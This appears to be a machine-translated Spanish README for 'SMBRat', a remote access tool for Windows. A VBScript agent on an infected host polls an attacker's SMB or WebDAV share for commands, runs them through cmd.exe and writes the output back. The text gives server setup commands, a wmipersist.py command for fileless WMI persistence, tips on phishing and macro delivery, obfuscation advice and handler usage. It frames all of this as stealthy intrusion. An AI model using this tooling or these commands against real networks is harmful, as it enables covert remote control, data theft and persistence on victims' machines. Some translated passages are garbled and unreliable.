Una herramienta de administración remota de Windows en Visual Basic Script
Los entornos Windows , como las redes Active Directory , se llenan mucho de tráfico SMB .
Todos los hosts obtienen políticas de SYSVOL , las configuraciones necesitan archivos remotos para funcionar, los accesos directos del escritorio tienden a apuntar a \somethingelseinthenetwork.exe
.
Ninguno notaría un intento más de conexión. ¿Bien?
- Especialmente si tiene éxito (es una moda monitorear solo Firewall Denies )
El agent
es un script de Visual Basic que se ejecuta en el host infectado y se conecta al servidor SMB . Crea un directorio allí con hostname
del host y la dirección MAC
principal del host (tratando de ser único e informativo al mismo tiempo para fines de generación de informes). Todos los comandos y la información del Host infectado se almacenarán en este directorio. ¡ zip
comprimir toda la carpeta compartida se archivará toda la información del proyecto!
NO utiliza una letra de unidad para montar el recurso compartido, solo usa UNC paths
para leer directamente archivos remotos (no se crea ninguna unidad en explorer.exe
).
También inyecta la UNC path
en la variable %PATH%
de su propio entorno de ejecución (puede ejecutar ejecutables directamente desde el sistema de archivos de su máquina Linux).
El agent
está configurado para ejecutarse una vez . Sin estado .
Su rutina es (más o menos) la siguiente:
exec.dat
en la carpeta que creó en SMB Sharecmd.exe /c <command>
como un shell semiinteractivo .output.dat
(junto a exec.dat
).exec.dat
. El handler
necesita un servidor SMB para funcionar. El módulo smbserver.py
del paquete impacket
de Core Security servirá.
Lo más probable es que smbd
también funcione, pero aún no se ha probado.
Se necesita un recurso compartido con el nombre D$
para que parezca una SMB legítima de un host de Windows.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
Como el agent
está configurado para usar solo rutas UNC, WebDAV también se puede usar sin cambios . En lugar de un servidor SMB, se puede utilizar un servidor WebDAV (un excelente servidor WebDAV con soporte SSL es wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
Para compatibilidad con SSL, las rutas UNC deben cambiar ligeramente, desde:
\<Server-IP>DIR
a:
\<Server-IP>@SSL@443DIR
Este cambio solo se puede realizar en la variable ServerName
agent.vbs
, ya que todas las rutas se construyen mediante esta. Tenga en cuenta que el sistema que ejecuta el agent
debe confiar en los certificados SSL. Los certificados autofirmados fallarán con advertencias.
Se puede agregar un bucle While al comienzo del archivo agent.vbs
, con una declaración de retraso de varios segundos (10 segundos es ideal), y podrá infectar hosts de Windows haciendo doble clic / phishing / macros de Excel /etc...
Un bucle while True
en VBS con un retraso de 1 segundo se ve así:
Do While True
[ ... ]
WScript.Sleep 1000
Loop
Sin embargo, si un host de Windows tiene RPC habilitado, es posible instalar el archivo VBS como malware sin archivos a través de WMI
y los fabulosos ejemplos del paquete impacket
con un comando como:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
También es posible utilizar la herramienta WMI
mediante acceso local para instalar agent.vbs
como malware sin archivos.
Los scripts de Visual Basic pueden ser fácilmente ofuscados , basados en base64 o minimizados .
Puede resultar muy útil darle una vuelta antes de "implementarlo"
Al momento de escribir este artículo, no se implementa ningún shell por lo que el uso se puede realizar simplemente usando un comando como Handler
,watch
para inspeccionar el archivo output.dat
:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
y echo
para escribir cosas en el archivo exec.dat
:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
El shell experimental funciona de la siguiente manera:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
El tráfico ( contenido de archivos y rutas ) se transfiere en texto sin formato si se utiliza el servidor SMBv1 (por ejemplo, smbserver.py
de impacket
).
Todos los agentes pueden modificar los archivos almacenados en Whole Share . Lo que significa que pueden modificar el exec.dat
de otros Agentes... Un smbmap
arrojará luz:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
-u
y -p
de smbmap
.Esta es una sesión NULL (como el inicio de sesión anónimo FTP). TODOS pueden cambiar los archivos COMPARTIDOS y obtener la ejecución remota de código en todas las máquinas infectadas.
iptables
aquí... Escriba execall netsh
y perderá a todos sus agentes. Ninguno responderá ya que agent.vbs
generará el shell netsh.exe
y esperará a que finalice, para poder escribir su contenido en output.dat
. Pero adivina qué... No terminará... Se quedará con la netsh>
apuntando al vacío.